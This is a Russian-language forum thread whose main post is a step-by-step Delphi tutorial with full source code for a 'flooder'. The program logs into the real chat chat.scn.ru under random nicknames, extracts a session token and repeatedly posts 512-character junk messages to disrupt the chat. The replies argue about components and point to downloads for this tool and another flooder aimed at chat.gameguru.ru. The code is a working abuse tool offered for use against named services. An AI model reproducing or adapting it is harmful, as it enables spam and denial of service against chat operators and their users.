Для начала на понадобятся две вещи: прямые руки и делфа (я пользуюсь 7-ой). Начнем. Запускам delphi, щелкае на главную форму левой кнопкой мыши и в окне свойств, а точнее в значении Caption пишем: "Флдудер для чата http://chat.scn.ru/". Так, первый этам закончен. Теперь зделаем интерфейс проги, бросаем на форму TLable (вкладка Standart), TEdit (вкладка Standart) и TCheckBox (вкладка Standart). Размещаем их боближе друг к другу, они будут отвечать за ник флуда появляющегося в чате. Ставим значение TEdit > Enabled в значение False. Тперь идем дальше и бросаем на форму TComboBox (вкладка Standart) и еще один TLabel. Да, кстати, забыл.. напишите значение первого Labl'а > Caption равным "Ник в чате" (без ковычек). Так вот, во втором Labl'е в значение Caption пишем "Выбор команты" (тож без кавычек), а в TComboBox открываем его значение Items (TStrings) и там пишем в столбик комнаты, которы есть в чате на chat.scn.ru: Главная тусовка VIP-Интим Ледяные горки Темный угол Барная стойка ФОРСАЖ!!! Дедов чуланчик БОЙНЯ Чат со звездой Теперь нажмимает "ок". Опять выбираем ComboBox и в его свойстве Style выбираем csDropDownList. Затем в свестве ComboBox'а > ItemIndex устанавливаем в значение "0". И вот что у нас получается: Тперь размещаем на форме две кнопки, TButton с вкладки Standart. В одной на свойстве Caption пишем "Старт", а в другой "Стоп". Тперь устанавливаем значение кнопки с надписью "Стоп" > Enabled в значение False. Затем бросаем на форму один SpinEdit (вкладка Samples) и Label. В Lable пишем "Количество сообщений" а в SpinEdit в свойстве Value ставим значение 1. Теперь следом бросаем на форму еще Lable где пишем "Статус" и бросаем Memo (вкладка Standart). Тперь основная фишка проги, кигьте на форму элемент под название IdHTTP со вкладки Indy Clients. Все ети элементы аккуратно размещаем и прилаем программе более или менее нормальный видок. Да, еще одно, когда разместите поле Мемо, очистети его и поставьте его свойство ScrollBars в значение ssBoth. смотрим: Вот! Теперь приступаем к написанию программного кода. Честно я уже замахался писать, так что выкладываю весь код и смотрите дальше сами, думаю все будет понятно. Это статья не для новичков, так точ если хрен че получится, можете скачать исходник проги ниже по ссылке. Code: function RandomNick(PLen: Integer): string; var str: string; begin Randomize; str := '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'; Result := ''; repeat Result := Result + str[Random(Length(str)) + 1]; until (Length(Result) = PLen) end; Code: var LL : integer;SE:Integer; Host:String;Referer:String; RoomScn:String; Code: procedure TForm1.Button1Click(Sender: TObject); var request : TStringList; FLooD,FLooD2,FLooD3,FLooD4 : TStringList; AData : TStringStream; code : String;S : String; STR : String;RandV : integer; F:TStringList; session : String; begin SE:=SpinEdit1.Value; LL := 0; While LL<SE do Begin LL := LL+1; Edit1.Enabled := False; ComboBox1.Enabled := False; CheckBox1.Enabled := False; SpinEdit1.Enabled := False; Button1.Enabled := False; Button2.Enabled := True; Memo1.Lines.Clear; Memo1.Lines.Add('Отправлено сообщений: '+IntToStr(LL)+'_ИЗ_'+IntToStr(SE)); Host:='chat.scn.ru'; Referer:='http://chat.scn.ru'; idhttp1.Port := 80; idhttp1.Host := Host; idhttp1.ReadTimeout := 10000; idhttp1.Request.Connection := 'Keep-Alive'; idhttp1.Request.AcceptLanguage := 'ru'; //idhttp1.Request.ContentLength := 160; idhttp1.Request.Host := Host; idhttp1.Request.Referer := Referer; idhttp1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT.5.1)'; idhttp1.Request.ContentType := 'application/x-www-form-urlencoded'; request := TStringList.Create; AData := TStringStream.Create(''); try idhttp1.Post('http://chat.scn.ru/index.php',request,Adata); except on E:Exception do end; request.Add('user_name='+Edit1.Text+RandomNick(10)); request.Add('sex=1'); request.Add('password='); request.Add('room='+RoomScn); request.Add('chat_type=1'); request.Add('action=1'); request.Add('design=real'); try idhttp1.Post('http://chat.scn.ru/?',request,Adata); except on E:Exception do end; request.Free; try Code := AData.DataString; AData.Free; F:=TStringList.Create; F.Text:=Code; S:=F.Strings[359]; Str := Copy(S,63,32); session := STR; F.Free; Except end; Randomize; RandV := Random(28); FLooD := TStringList.Create; FLooD.Add('session='+session); FLooD.Add('mesg='+RandomNick(512)); FLooD.Add('user_color='+intToStr(RandV)); Randomize; RandV := Random(28); FLooD2 := TStringList.Create; FLooD2.Add('session='+session); FLooD2.Add('mesg='+RandomNick(512)); FLooD2.Add('user_color='+intToStr(RandV)); Randomize; RandV := Random(28); FLooD3 := TStringList.Create; FLooD3.Add('session='+session); FLooD3.Add('mesg='+RandomNick(512)); FLooD3.Add('user_color='+intToStr(RandV)); Randomize; RandV := Random(28); FLooD4 := TStringList.Create; FLooD4.Add('session='+session); FLooD4.Add('mesg='+RandomNick(506)+'>RoBoT'); FLooD4.Add('user_color='+intToStr(RandV)); try idhttp1.Post('http://chat.scn.ru/sender.php',FLooD); except end; try idhttp1.Post('http://chat.scn.ru/sender.php',FLooD2); except end; try idhttp1.Post('http://chat.scn.ru/sender.php',FLooD3); except end; try idhttp1.Post('http://chat.scn.ru/sender.php',FLooD4); except end; FLooD.Free; FLooD2.Free; FLooD3.Free; FLooD4.Free; try idhttp1.Get('http://chat.scn.ru/index.php?session='+session+'&go=logout/'); except end; Try idhttp1.Disconnect; idhttp1.DisconnectSocket; except end; if LL=SE then begin Edit1.Enabled := True; ComboBox1.Enabled := True; CheckBox1.Enabled := True; SpinEdit1.Enabled := True; Button1.Enabled := True; Button2.Enabled := False; end; end; end; Code: procedure TForm1.Button2Click(Sender: TObject); begin LL:=SE; Try idhttp1.Disconnect; idhttp1.DisconnectSocket; except end; Sleep(2000); Edit1.Enabled := True; ComboBox1.Enabled := True; CheckBox1.Enabled := True; SpinEdit1.Enabled := True; Button1.Enabled := True; Button2.Enabled := False; end; Всё!!... Если хрен че получилось, качайте исходник проги ОТСЮДА ========== всегда играю в flash игры бесплатно на www.nogame.ru
Не понимаю такую статью в принципе. Она для кого? Для эникеев, которые на форму что-то перетащили, куски кода переписали и уже могут сказать "я это сделал сам!". Ну давайте по поводу каждой программы писать такие же статьи... Или ещё круче: снимим видео "как я писал эту программу". ЗЫ Автор, достаточно было просто кинуть исходники.
========= Так вот.. ты вроде говорил что использовал сторонние компоненты для флужения, а я вот в своем НЕТ. Так что думай...
да?? не и спользовал говоришь? а почему тогда я скачал твой ичсходник а там тоже есть сторонний компонент для посылки запросов
Мож ты делфой ниже шестой пользуешся)) у меня там стандартный TIdHTTP из седьмой версии. Другово ничего нет)) Смотри внимательнее (читай)...
Ну короче понятно.... Народ.. кого инетерсует)) вот еще флуд народного производства, специально для чата chat.gameguru.ru, качаем отсюда => СКАЧАТЬ!
